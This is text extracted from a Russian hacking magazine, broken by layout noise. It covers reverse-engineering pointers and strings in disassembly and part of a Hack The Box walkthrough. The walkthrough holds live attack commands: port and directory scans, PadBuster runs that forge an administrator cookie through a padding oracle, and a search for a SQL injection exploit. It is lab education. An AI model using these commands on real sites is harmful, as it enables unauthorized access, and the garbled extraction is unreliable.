
Ага! Сумма­ непосредс­ твен­ ных­ значений­ использует­ ся­ для косвенной­ адре ­ сации памяти, значит­ , это констан­ та­ и указатель­ . Но кто из них кто? С боль ­ шой степенью­ вероятности­ RAX — указатель­ (так оно и есть), посколь­ ку­ он стоит­ на первом­ месте­ , а RCX — индекс, так как он стоит­ на втором­ !

Использование LEA для сложения констант

Инструк­ ­ция LEA широко использует­ ­ся компилято­ ­рами не только­ для ини ­ циализации­ указате­ ­лей, но и для сложения­ констант­ . Посколь­ ­ку внутренне­ представ­ ­ление констант­ и указате­ ­лей идентично­ , результат­ сложения­ двух указате­ ­лей идентичен­ сумме­ тождес­ ­твен­ных им констант­ . То есть LEA EBX, [ EBX+0x666] == ADD EBX, 0x666, однако­ по своим­ функци­ ­ональ­ным воз ­ можностям­ LEA значитель­ ­но обгоняет­ ADD. Вот, например­ , LEA ESI, [ EAX*4+EBP-0x20], попробуй­ то же самое «скормить­ » инструк­ ­ции ADD!

Встретив­ в тексте­ программы­ команду­ LEA, не торопись навешивать­

на возвра­ ­щен­ное ею значение­ ярлык «указатель­ »: с не меньшим­ успехом­ он может оказать­ ­ся и констан­ ­той! Если «подозрева­ ­емый» ни разу не использует­ ­ ся в выражении­ косвенной­ адресации­ — никакой это не указатель­ , а самая настоящая­ констан­ ­та!

«Визуальная» идентификация констант и указателей

Вот несколь­ ­ко приемов­ , помогающих­ отличить­ указате­ ­ли от констант­ .

1.В 64-разрядных­ Windows-программах­ указате­ ­ли могут принимать­ огра ­ ниченный­ диапазон­ значений­ . Доступный­ процес­ ­сорам регион­ адресного­ пространс­ ­тва начинается­ со смещения­ 0

0x00000000 00010000 и простира­ ­ется до смещения­ 0x000003FF FFFFFFFF. Поэтому­ все непосредс­ ­твен­ные значения­ , меньшие­

0x00000000 00010000 и большие­ 0x000003FF FFFFFFFF, представ­ ­ляют собой констан­ ­ты, а не указате­ ­ли. Исключение­ составля­ ­ет число­ ноль, обознача­ ­ющее нулевой указатель­ . Некоторые­ защитные­ механизмы­ непосредс­ ­твен­но обращают­ ­ся к коду операци­ ­онной системы­ , рас ­ положенному­ выше адреса­ 0x000003FF FFFFFFFF, где начинаются­ вла ­ дения ядра.

2.Если­ непосредс­ ­твен­ное значение­ смахива­ ­ет на указатель­ , посмотри­ , на что он указыва­ ­ет. Если по данному­ смещению­ находится­ пролог­ фун ­ кции или осмысленная­ тексто­ ­вая строка­ , скорее­ всего­ , мы имеем­ дело с указате­ ­лем, хотя, может быть, это всего­ лишь совпадение­ .

3.Загляни­ в таблицу­ перемещаемых­ элемен­ ­тов. Если адрес «подследс­ ­твен ­ ного» непосредс­ ­твен­ного значения­ есть в таблице­ , это, несомненно­ , ука ­ затель. Беда в том, что большинс­ ­тво исполняемых­ файлов­ неперемеща­ ­ емы и такой прием­ актуален­ лишь для исследова­ ­ния DLL (а DLL переме ­ щаемы по определе­ ­нию).

Кслову­ сказать­ , дизассем­ ­блер IDA Pro использует­ все три описан­ ­ных спо ­ соба для автомати­ ­чес­кого опознавания­ указате­ ­лей.

ЗАКЛЮЧЕНИЕ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Как мы увидели­

выше, правиль­

ное­

определе­

ние­

констант­

и смещений­

зависит от многих­ фундамен­

таль­ ных­ факторов­

: от операци­

онной­

системы­

, ее

разряднос­

ти­ , даже от языка­ ассембле­ ра­ , в котором отражает­

ся­ процес­ ­

сорная архитек­ тура­ ! Эти понятия составля­

ют­

основу­

любой

 

программы­

.

А рассмот­

ренные­

в статье примеры­

показали­

важность­

их правиль­

ной­ иден ­

тификации­ .

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

.c

 

 

 

.

 

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

-x

 

n

e

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

Крис Касперски

Известный российский хакер. Легенда ][, ex-

редактор ВЗЛОМа. Также известен под псевдонимами

мыщъх, nezumi (яп. , мышь), n2k, elraton, souriz, tikus, muss, farah, jardon, KPNC.

ИЩЕМ ТЕСТОВЫЕ СТРОКИ

В ЧУЖОЙ ПРОГРАММЕ

Юрий Язев

Широко известен под псевдонимом yurembo.

Программист, разработчик видеоигр, независимый исследователь. Старый автор журнала «Хакер». yazevsoft@gmail.com

Когда­ изучаешь­ дизассем­ ­бли­рован­ный листинг­ программы­ в целях понять, как она работает­ , очень часто­ нужно­ отыс ­

кать в ней строки­ . В сегодняшней­ статье мы рассмот­ ­рим, какие типы строк существу­ ­ют, из каких символов­ они могут состоять­ , какого размера­ бывают­ символы­ и чем отличает­ ­ся строка­ от простого­ набора байтов­ . Еще мы обсудим­ хра ­ нение, передачу­ и обработ­ ­ку строк разными­ компилято­ ­рами.

Пятнадцать­ лет назад эпичес­ ­кий труд Криса­ Каспер­ ­ски «Фундамен­ ­таль­ные основы­ хакерства­ » был настоль­ ­ной книгой­ каждого­ начинающе­ ­го исследова­ ­ теля в области компьютер­ ­ной безопасности­ . Однако­ время­ идет, и знания­ , опубликован­ ­ные Крисом­ , теряют­ актуаль­ ­ность. Редакторы­ «Хакера» попыта ­ лись обновить­ этот объемный­ труд и перенести­ его из времен­ Windows 2000 и Visual Studio 6.0 во времена­ Windows 10 и Visual Studio 2019.

Ссылки­ на другие­ статьи из этого­ цикла­ ищи на странице­ автора­ .

Казалось­ бы, что может быть сложного­ в идентифика­ ­ции строк? Если то, на что ссылает­ ­ся указатель­ , выглядит­ как строка­ , это и есть строка­ ! Более того, в подавляющем­ большинс­ ­тве случаев­ строки­ обнаружи­ ­вают­ся и иден ­ тифицируют­ ­ся тривиаль­ ­ным просмотром­ дампа­ программы­ (при условии­ , конечно­ , что они не зашифрованы­ , но шифрование­ — тема отдельного­ раз ­ говора). Так то оно так, да не все столь просто­ !

Задача­ номер один — автомати­ ­зиро­ван­ное выявление­ строк в программе­ : не пролис­ ­тывать же мегабайтовые­ дампы­ вручную­ ? Существу­ ­ет множес­ ­тво алгорит­ ­мов идентифика­ ­ции строк. Самый простой­ (но не самый надежный­ ) основан­ на двух тезисах:

строка­ состоит­ из ограничен­ ­ного ассортимен­ ­та символов­ . В грубом­ приб ­ лижении — это цифры­ , буквы­ алфавита­ (включая­ пробелы­ ), знаки­ препина­ ­ ния и служеб­ ­ные символы­ наподобие­ табуляции­ или возвра­ ­та каретки­ ;

строка­ должна­ состоять­ по крайней­ мере из несколь­ ­ких символов­ .

Условим­ ­ся считать­ минимальную­ длину­ строки­ равной­ N байтам­ . Тогда­ для автомати­ ­чес­кого выявления­ всех строк достаточ­ ­но отыскать­ все пос ­ ледователь­ ­нос­ти из N и более «строковых­ » символов­ . Весь вопрос­ в том, чему должна­ быть равна­ N и какие символы­ считать­ «строковы­ ­ми».

Если­ N имеет­ малое значение­ , порядка­ трех четырех байтов­ , то мы получим очень большое­ количество­ ложных­ срабаты­ ­ваний. Напротив­ , когда­ N велико, порядка­ шести­ восьми­ байтов­ , число­ ложных­ срабаты­ ­ваний близко­ к нулю и ими можно­ пренеб­ ­речь, но все короткие­ строки­ , например­ OK, YES,

NO, окажут­ ся­ не распозна­ ны­ ! Другая­ проблема­ : помимо знако­ цифровых­ сим ­ волов, в строках­ встречают­ ся­ и элемен­ ты­ псевдогра­ фики­ (особен­ но­ часты­ они в консоль­ ных­ приложе­ ниях­ ) и всякие­ там «мордашки­ », «стрелки­ », «карапузики­ » — словом­ , почти­ вся таблица­ ASCII. Чем же тогда­ строка­ отли ­ чается­ от случай­ ной­ последова­ тель­ нос­ ти­ байтов­ ? Частотный­ анализ­ здесь бессилен­ : ему для нормаль­ ной­ работы требует­ ся­ как минимум сотня­ байтов­ текста­ , а мы говорим о строках­ из двух трех символов­ !

Зайдем­ с другого­ конца­ . Если в программе­ есть строка­ , значит­ , на нее кто нибудь да ссылает­ ­ся. А раз так, можно­ поискать­ среди­ непосредс­ ­твен­ных значений­ указатель­ на распознан­ ­ную строку­ . И если он будет найден­ , шансы­ на то, что это действи­ ­тель­но именно­ строка­ , а не случай­ ­ная последова­ ­тель ­ ность байтов­ , резко­ возраста­ ­ют. Все просто­ , не так ли?

Просто­ , да не совсем­ ! Рассмот­ рим­ следующий­ пример­ (writeln_d):

program writeln_d;

begin

Writeln('Hello, Sailor!');

end.

Резуль­ тат­ выполнения­ writeln_d

Откомпи­ ­лиру­ем этот пример­ . Хотелось бы сказать­ , любым Pascal-компилято­ ­ ром, только­ любой нам не подойдет­ , посколь­ ­ку нам нужен бинарный­ код под архитек­ ­туру x86-64. Это автомати­ ­чес­ки сужает­ круг подходящих­ ком ­ пиляторов­ . Даже популярный­ Free Pascal все еще не умеет­ билдить­ прог ­ раммы для Windows x64. Но не убирай­ его далеко, он нам еще пригодит­ ­ся.

В таком случае­ нам придет­ ­ся восполь­ ­зовать­ся Embarcadero Delphi 10.4. Настрой­ компилятор­ для постро­ ­ения 64-битных­ приложе­ ­ний и загрузи­ откомпилиро­ ­ван­ный файл в дизассем­ ­блер:

IDA определи­ ла­ , что перед вызовом функции­

_ZN6System14_Write0UStringERNS_8TTextRecENS_13UnicodeStringE

в регистр RDX загружа­ ­ется указатель­ на смещение­ aHelloSailor. Пос ­ мотрим, куда оно указыва­ ­ет (дважды­ щелкнем­ по нему):

.text:000000000040E6DC aHelloSailor: ; DATA XREF:

_ZN9Writeln_d14initializationEv+26↑o

.text:000000000040E6DC text "UTF-16LE", 'Hello, Sailor!',0

Ага! Текст в кодировке­ UTF-16LE. Что такое UTF-16, думаю, всем понятно­ . Два

конечных­

символа­

обознача­

ют­ порядок байтов­ . В данном­

случае­ , посколь­

ку­

приложе­

ние­ скомпилиро­

вано­

для архитек­ туры­

x86-64, в которой использует­ ­

ся порядок байтов­ «от младшего­

к старшему­

» — little endian, упомяну­

тые­ сим ­

волы говорят именно­ об

этом. В противо­

полож­

ном­

случае­ , например­

на компьюте­ ре­ с процес­ сором­

SPARC, кодировка­ имела­ бы название­

UTF-

16BE от big endian.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Из этого­ следует­ , что Delphi кодирует­ каждый­

символ­

переменным­

количеством­

байтов­ : 2 или 4. Посмотрим­

,

как себя

поведет Visual C++

2019 с аналогич­

ным­

кодом:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

#include <stdio.h>

int main() {

printf("%s", "Hello, Sailor!");

}

Резуль­ тат­ дизассем­ бли­ рова­ ния­ :

main proc near

sub

rsp, 28h

 

lea

rdx, aHelloSailor ; "Hello, Sailor!"

lea

rcx, _Format

; "%s"

call

printf

 

xor

eax, eax

 

add

rsp, 28h

 

retn

 

 

main endp

Поинте­ ­ресу­емся, что находится­ в сегменте­ данных­ только­ для чтения­ (rdata)

по смещению­ aHelloSailor:

.rdata:0000000140002240 aHelloSailor

 

db 'Hello, Sailor!',0 ; DATA

XREF: main+4↑o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Никаких­

дополнитель­

ных­ сведений­

о размере­

символов­

. Из этого­ можно­ сде ­

лать вывод,

что

использует­ ся­ стандар­ тная­

 

8-битная­

кодировка­

 

ASCII,

в которой под каждый­

символ­ отводит­ ся­ только­ 1 байт.

 

 

 

 

 

 

 

 

 

 

 

Ядро­ Windows NT изначаль­

но­ использовало­

для работы со строковы­

ми­

символами­

кодировку­ UTF-16, однако­ до Windows 10 в пользователь­

ском­

режиме применя­

лись­

две кодировки­ : UTF-16 и ASCII (нижние­

128 символов­

для английско­ го­

языка­ , верхняя­

 

половина­

для

русско­ го­ ). Начиная

с Windows 10, в user mode использует­ ся­ только­ UTF-16. Между­ тем символы­

могут хранить­

ся­ и в ASCII, что мы видели в примере­

выше.

 

 

 

 

 

 

 

 

 

 

В C/C++ char является­

исходным типом символа­

и позволя­

ет­ хранить­

любой символ­

нижней­

и верхней­

частей­ кодировки­ ASCII размером­

8

 

бит.

Хотя реализация­

 

типа wchar_t полностью­

лежит на совести­ разработ­

чика­

компилято­

ра­ , в Visual C++ он представ­

ляет­

 

собой полный­

аналог­ символа­

кодировки­ UTF-16LE, то есть позволя­

ет­ хранить­

любой символ­ Юникода­

.

 

 

 

 

Для демонстра­ ции­ двух основных символь­

ных­ типов в Visual C++ напишем

элемен­ тарный­

пример­ :

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

#include <iostream>

int main() {

std::cout << "size of 'char': " << sizeof(char) << "\n";

std::cout << "size of 'wchar': " << sizeof(wchar_t) << "\n";

char line1[] = "Hello, Sailor!";

wchar_t line2[] = L"Hello, Sailor!";

std::cout << "size of 'array of chars': " << sizeof(line1) << "\n";

std::cout << "size of 'array of wchars': " << sizeof(line2) << "\n"

;

}

Резуль­ тат­ его выполнения­ представ­ лен­ ниже.

Размеры­ символь­ ных­ данных­

Думаю­ , все понятно­ без подробных­ пояснений­ : char — 1 байт, wchar_t — 2 байта­ . Строка­ "Hello, Sailor!" состоит­ из 14 символов­ , плюс конечный­ 0. Это также­ отражено­ в выводе программы­ .

В стандарте­ C++ есть типы символов­ : char8_t, char16_t, char32_t. Первый­ из них был добавлен­ с введени­ ­ем стандарта­ C++20, два других­ добавлены­ в C++11. Их размер­ отражает­ ­ ся в их названи­ ­ях: char16_t использует­ ­ся для символов­ кодировки­ UTF-16, char32_t — для UTF-32. При этом char8_t не то же самое, что «унаследован­ ­ный» char, хотя позволя­ ­ет работать с символами­ последне­ ­го, главным­ обра ­ зом он предназна­ ­чен для литералов­ кодировки­

UTF-8.

Размеры­ символов­ важны­ для обнаруже­ ния­ границ­ строк при анализе­ дизас ­ семблер­ ных­ листингов­ программ­ .

Можно­ сделать­ вывод, что современ­ ные­ Visual C++ и Delphi опериру­ ют­ одинако­ выми­ типами строк, неважно­ какого размера­ , но оканчива­ ющиеся­ символом­ 0. Но так было не всегда­ . В качестве­ историчес­ кого­ экскурса­ откомпилиру­ ем­ пример­ writeln_d компилято­ ром­ Free Pascal.

Среда­ Free Pascal

Загрузим­ результат­ в IDA.

IDA определи­ ла­ , что загружа­ емый­ исполняемый­ файл 32-разрядный­

_main

proc near

 

argc

= dword

ptr

8

argv

= dword

ptr

0Ch

envp

= dword

ptr

10h

 

push

ebp

 

 

mov

ebp,

esp

 

push

ebx

 

 

call

FPC_INITIALIZEUNITS

 

call

fpc_get_output

 

mov

ebx,

eax

 

mov

ecx,

offset _$WRITELN_FP$_Ld1

 

mov

edx,

ebx

 

mov

eax,

0

 

call

FPC_WRITE_TEXT_SHORTSTR

 

call

FPC_IOCHECK

 

mov

eax,

ebx

 

call

fpc_writeln_end

 

call

FPC_IOCHECK

 

call

FPC_DO_EXIT

_main

endp

 

 

Так так так… какой интерес­ ный­ код для нас пригото­ вил­ Free Pascal! Сразу­ же бросает­ ся­ в глаза­ смещение­

_$WRITELN_FP$_Ld10

адрес­ которого­ помещается­ в регистр ECX перед вызовом процеду­ ры­ FPC_WRITE_TEXT_SHORTSTR, своим­ названи­ ем­ намекающей­ на вывод текста­ . Постой­ , ведь это же 32-разрядная­ программа­ , где передача­ параметров­ в регистрах­ скорее­ исключение­ , чем правило­ , и использует­ ся­ только­ при сог ­ лашении fastcall, в остальных­ же случаях­ параметры­ передаются­ через стек!

Заглянем­ ка в документацию­ по компилято­ ру­ … Есть контакт­ ! По умол ­ чанию в коде механизма­ вызова процедур­ для процес­ соров­ i386 использует­ ­ ся соглашение­ register. У нормаль­ ных­ людей оно называется­ fastcall. И, пос ­ кольку­ для платформы­ x86 оно не стандарти­ зиро­ вано­ , в отличие­ от x64, для передачи­ параметров­ используют­ ся­ все свобод­ ные­ регистры­ ! Поэтому­

в том, что использует­ ­ся регистр ECX, нет ничего сверхъестес­ ­твен­ного.

Чтобы­ окончатель­ но­ убедить­ ся­ в нашей догадке­ , посмотрим­ , как рас ­ поряжается­ переданным­ параметром­ вызываемая­ функция­

FPC_WRITE_TEXT_SHORTSTR:

FPC_WRITE_TEXT_SHORTSTR proc near

;CODE XREF: _main+1C↑p

;sub_403320+31↑p ...

push ebx push esi

push

edi

mov

ebx, eax

mov

esi, edx

mov

edi, ecx ; Копирование параметра в регистр EDI

Но тут много­ чего копируется­ , поэтому­ эта инструк­ ция­ не доказатель­ ство­ . Смотрим­ дальше­ .

mov

edx, ds:FPC_THREADVAR_RELOCATE

test

edx, edx

jz

short

loc_40661C

mov

eax, ds:U_$SYSTEM_$$_INOUTRES

call

edx ;

FPC_THREADVAR_RELOCATE

jmp

short

loc_406621

;

---------------------------------------------------------------------

------

loc_40661C: ; CODE XREF: FPC_WRITE_TEXT_SHORTSTR+11↑j

mov

eax, offset unk_40B154

loc_406621:

; CODE XREF: FPC_WRITE_TEXT_SHORTSTR+1A↑j

cmp

word ptr [eax], 0

jnz

loc_4066AC

mov

eax, [esi+4]

cmp

eax, 0D7B1h

jl

short loc_40668C

sub

eax, 0D7B1h

jz

short loc_40666C

sub

eax, 1

jnz

short loc_40668C

mov

esi, esi

Ага! Следующая­ инструк­ ция­ копирует­ указатель­ , преобра­ зуя­ его в 32-раз ­ рядное значение­ без учета­ знака­ (указатель­ не может быть отрицатель­ ным­ ). Затем с помощью команды­ cmp сравнива­ ются­ значения­ двух регистров­ : EAX и EBX. И если EAX больше­ или равен EBX, выполняет­ ся­ переход на метку­

loc_40665C...

movzx

eax, byte ptr [edi]

cmp

eax, ebx

jge

short loc_40665C

movzx

eax, byte ptr [edi]

mov

edx, ebx

sub

edx, eax

mov

eax, esi

call

sub_4064F0

lea

esi, [esi+0]

loc_40665C:

; CODE XREF: FPC_WRITE_TEXT_SHORTSTR+49↑j

...где происхо­ дит­ похожая на манипуляцию­ со строкой­ деятельность­ .

movzx

ecx, byte ptr [edi]

lea

edx,

[edi+1]

mov

eax,

esi

call

sub_406460

...

 

 

Теперь­ мы смогли­ убедить­ ся­ в правиль­ нос­ ти­ нашего предположе­ ния­ ! Вер ­ немся к основному­ исследова­ нию­ и посмотрим­ , что же скрывает­ ся­ под подозритель­ ным­ смещени­ ем­ :

.rdata:00409004

_$WRITELN_FP$_Ld1 db 0Eh ; DATA XREF: _main+10↑o

.rdata:00409005

db

48h

; H

.rdata:00409006

db

65h

; e

.rdata:00409007

db

6Ch ; l

.rdata:00409008

db

6Ch ; l

.rdata:00409009

db

6Fh ; o

.rdata:0040900A

db

2Ch ; ,

.rdata:0040900B

db

20h

 

.rdata:0040900C

db

53h

; S

.rdata:0040900D

db

61h

; a

.rdata:0040900E

db

69h

; i

.rdata:0040900F

db

6Ch ; l

.rdata:00409010

db

6Fh ; o

.rdata:00409011

db

72h

; r

.rdata:00409012

db

21h

; !

.rdata:00409013

db

0

 

Согласись­ , не это мы ожидали­ увидеть­ . Однако­ последова­ тель­ ное­ рас ­ положение­ символов­ строки­ «в столбик­ » дела не меняет­ . Интересен­ другой­ момент: в начале строки­ стоит­ число­ , показывающее­ количество­ символов­

в строке­ , — 0xE (14 в десятичной­ системе­ ).

Оказыва­ ­ется, мало идентифици­ ­ровать строку­ , требует­ ­ся еще как минимум определить­ ее границы­ .

Продолжение статьи0

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

c

 

o m

ВЗЛОМ

 

 

 

 

 

 

 

 

 

to

BUY

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

УПРАЖНЯЕМСЯ В АТАКЕ PADDING ORACLE

ИЭКСПЛУАТИРУЕМ БАГ В EXIFTOOL

Вэтой статье я покажу, как проводить­ атаку­

padding oracle и эксплу­ ­ати­ровать сайты­ через SQL-инъекцию­ . Затем мы получим доступ­ к машине через уязвимость­

в ExifTool и повысим привиле­ ­гии на хосте­ через переполнение­ буфера в поль ­ зовательском­ приложе­ ­нии.

RalfHacker hackerralf8@gmail.com

Полиго­ ном­ нам послужит­ Overfow — машина с площад­ ки­ Hack The Box, оце ­ ненная­ как сложная­ . Ее прохож­ дение­ действи­ тель­ но­ оказалось­ несколь­ ко­ запутанным­ .

Подклю­ чать­ ся­ к машинам с HTB рекомендует­ ся­ только­ через VPN. Не делай этого­ с компьюте­ ров­ , где есть важные­ для тебя данные­ , так как ты ока ­ жешься­ в общей сети с другими­ участни­ ками­ .

РАЗВЕДКА Сканирование портов

Добав­ ляем­ IP-адрес машины в /etc/hosts, чтобы­ было удобнее­ обращать­ ся­ к ней:

10.10.11.119 overflow.htb0

И запускаем­ сканиро­ вание­ портов­ .

Сканиро­ ­вание портов­ — стандар­ ­тный первый­ шаг при любой атаке­ . Он поз ­ воляет­ атакующе­ ­му узнать, какие службы­ на хосте­ принима­ ­ют соединение­ . На основе­ этой информации­ выбирается­ следующий­ шаг к получению­ точки­ входа­ .

Наибо­ ­лее известный­ инстру­ ­мент для сканиро­ ­вания — это Nmap. Улучшить­ результаты­ его работы ты можешь при помощи следующе­ ­го скрипта­ .

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |

tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он действу­ ет­ в два этапа­ . На первом­ произво­ дит­ ся­ обычное­ быстрое­ ска ­ нирование­ , на втором­ — более тщатель­ ное­ сканиро­ вание­ , с использовани­ ем­ имеющих­ ся­ скриптов­ (опция -A).

Резуль­ тат­ работы скрипта­

Мы нашли­ три открытых­ порта­ :

22 — служба­ OpenSSH 7.6p1;

25 — служба­ Postfx SMTP;

80 — веб сервер­ Apache 2.4.29.

КSSH доступа­ мы пока не имеем­ , что делать с SMTP-сервером­ на данном­ этапе­ , тоже неясно­ , поэтому­ просматри­ ­ваем веб.

Главная­ страница­ overfow.htb

На сайте­ доступна­ регистра­ ция­ и авториза­ ция­ . Выполним­ оба действия­ , что ­ бы получить доступ­ к новым функци­ ям­ . После­ регистра­ ции­ и входа­ на панели сайта­ появятся­ новые ссылки­ на настрой­ ки­ профиля­ , а также­ какие то темати ­ ческие­ статьи.

Страница­ Profle

Страница­ Blog

Сканирование веб-контента

Ничего­ интерес­ ­ного не обнаружив­ , я решил просканиро­ ­вать каталоги­ и сай ­ ты. Это поможет нам найти­ скрытый­ админис­ ­тра­тором контент­ .

Одно­ из первых­ действий­ при тестирова­ нии­ безопасности­ веб приложе­ ­ ния — это сканиро­ вание­ методом перебора­ каталогов­ , чтобы­ найти­ скрытую­ информацию­ и недоступные­ обычным­ посетителям­ функции­ . Для этого­ можно­ использовать­ программы­ вроде­ dirsearch и DIRB.

Я предпочитаю­ легкий­ и очень быстрый­ fuf. При запуске­ можно­ задать следующие­ параметры­ :

-w — словарь­ (я использую­ словари­ из набора SecLists);

-t — количество­ потоков;

-u — URL;

-fc — исключить­ из результата­ ответы­ с кодом 403.

Набира­ ем­ команду­

ffuf -u http://overflow.htb/home/FUZZ -t 256 -w php_files_common.txt0

Резуль­ тат­ сканиро­ вания­ PHP-файлов­ с помощью fuf

Мы нашли­ файл logs.php. Также­ я просканиро­ вал­ корневой­ каталог сайта­ и получил дополнитель­ но­ директорию­ config, которая пока что нам ничего не дает.

Резуль­ тат­ сканиро­ вания­ каталогов­ с помощью fuf

При попытке­ запросить­ содержимое­ logs.php получаем­ сообщение­ , что нам закрыт­ доступ­ .

Страница­ logs.php

ТОЧКА ВХОДА

Перехо­ ­дим к более глубоко­ ­му анализу­ технологий­ сайта­ . И обратим­ вни ­ мание на странную­ последова­ ­тель­ность в cookie — auth.

Перех­ вачен­ ный­ запрос­ на сервер­

Я попробовал­ провер­ нуть­ разные­ манипуляции­ с этой строкой­ : декодирова­ ­ ние, частичное­ изменение­ , дополнение­ и урезание­ . В результате­ я наткнул­ ся­ на код ответа­ 302 и редирект на страницу­ logot.php с параметром­ err=1.

Ответ­ сервера­

Запрос­ после­ редиректа­

Открыв­ эту страницу­ в браузе­ ре­ , обнаружим­ сообщение­ «Invalid padding», что сразу­ наталкива­ ет­ на мысль об атаке­ padding oracle.

Сообще­ ние­ об ошибке­

Padding oracle

Это атака­ на шифрование­ CBC, при котором сообщение­ разбива­ ется­ на бло ­ ки длиной­ X байтов­ и каждый­ блок ксорит­ ся­ с предыду­ щим­ зашифрован­ ным­ блоком­ . Затем результат­ шифрует­ ся­ . Что очень важно­ , шифрование­ выпол ­ няется­ блоками­ фиксирован­ ного­ размера­ .

Чтобы­ гарантировать­ точное­ размещение­ открытого­ текста­ в одном или несколь­ ­ких блоках­ , часто­ использует­ ­ся дополнение­ (padding). Это допол ­ нение может быть выполнено­ несколь­ ­кими способа­ ­ми (самый распростра­ ­ ненный­ — PKCS7). В PKCS7 дополнение­ будет состоять­ из одного­ и того же числа­ : количества­ недостающих­ байтов­ .

Например­ , если в открытом­ тексте­ отсутству­ ют­ два байта­ , то заполнение­ будет \x02\x02. Суть атаки­ заключа­ ется­ в том, что мы, манипулируя­ данными­

и получая информацию­ о верности­ дополнения­ , можем вскрыть весь исходный текст.

 

Подробнее­

о padding oracle attack в статье

 

на «Хабрахаб­

ре­ »: часть 1, часть 2.

Для работы будем использовать­ скрипт PadBuster. Я перерегис­ три­ ровал­ пользовате­ ля­ , получил куки и указал­ их этому­ чудо скрипту­ для работы.

padbuster http://overflow.htb/home/index.php

Ow%2F5zdCFrSoAl%2FO6Mo3gaD8Y79JztfUX 8 -cookies auth=

Ow%2F5zdCFrSoAl%2FO6Mo3gaD8Y79JztfUX0

Запуск­ PadBuster

Нас просят­ выбрать­ вариант­ ответа­ , уведом­ ляющий­ об ошибке­ дополнения­ . Рекомендован­ третий­ вариант­ , его и указыва­ ем­ .

Вскрытие­ исходного­ текста­

В итоге­ мы получаем­ открытый­ текст, зашифрован­ ный­ в cookie: user=ralf. Теперь мы понимаем­ формат­ данных­ для аутентифика­ ции­ . Сервер­ рас ­ шифровыва­ ет­ куки и определя­ ет­ текущего­ пользовате­ ля­ . Но эта атака­ помогает­ не только­ вскрыть зашифрован­ ные­ данные­ , но и заново зашиф ­ ровать свои! Так мы можем указать­ PadBuster, что нужно­ зашифровать­ подоб ­ ную строку­ для пользовате­ ля­ Admin.

padbuster http://overflow.htb/home/index.php

Ow%2F5zdCFrSoAl%2FO6Mo3gaD8Y79JztfUX 8 -cookies auth=

Ow%2F5zdCFrSoAl%2FO6Mo3gaD8Y79JztfUX -plaintext "user=Admin"

Новые­ перезашиф­ рован­ ные­ данные­

Спустя­ некоторое­ время­ мы получим куки, применив­ которые подклю­ чим­ ся­ от имени­ админис­ тра­ тора­ . На сайте­ нам становит­ ся­ доступна­ админис­ тра­ тив­ ­ ная панель, с которой мы можем получить доступ­ к CMS Made Simple и най ­ денным­ ранее логам.

Форма­ авториза­ ции­ Made Simple

Так как никаких учетных­ данных­ у нас нет, нужно­ проверить­ существу­ ющие­ экспло­ иты­ , а для этого­ узнать версию­ продук­ та­ . Исходники­ Made Simple открыты­ , и можно­ подсмот­ реть­ путь к файлу­ с описани­ ем­ обновлений­ : /doc/

CHANGELOG.txt.

Версия­ Made Simple

В этом файле­ последней­ упомина­ ется­ версия­ 2.2.8. Утилита­ searchsploit для поиска­ экспло­ итов­ в базе Exploit-DB помогает­ найти­ PoC эксплу­ ата­ ции­

SQL Injection для версии­ меньше­ 2.2.10.

searchsploit 'CMS made simple'

searchsploit -p php/webapps/46635.py0

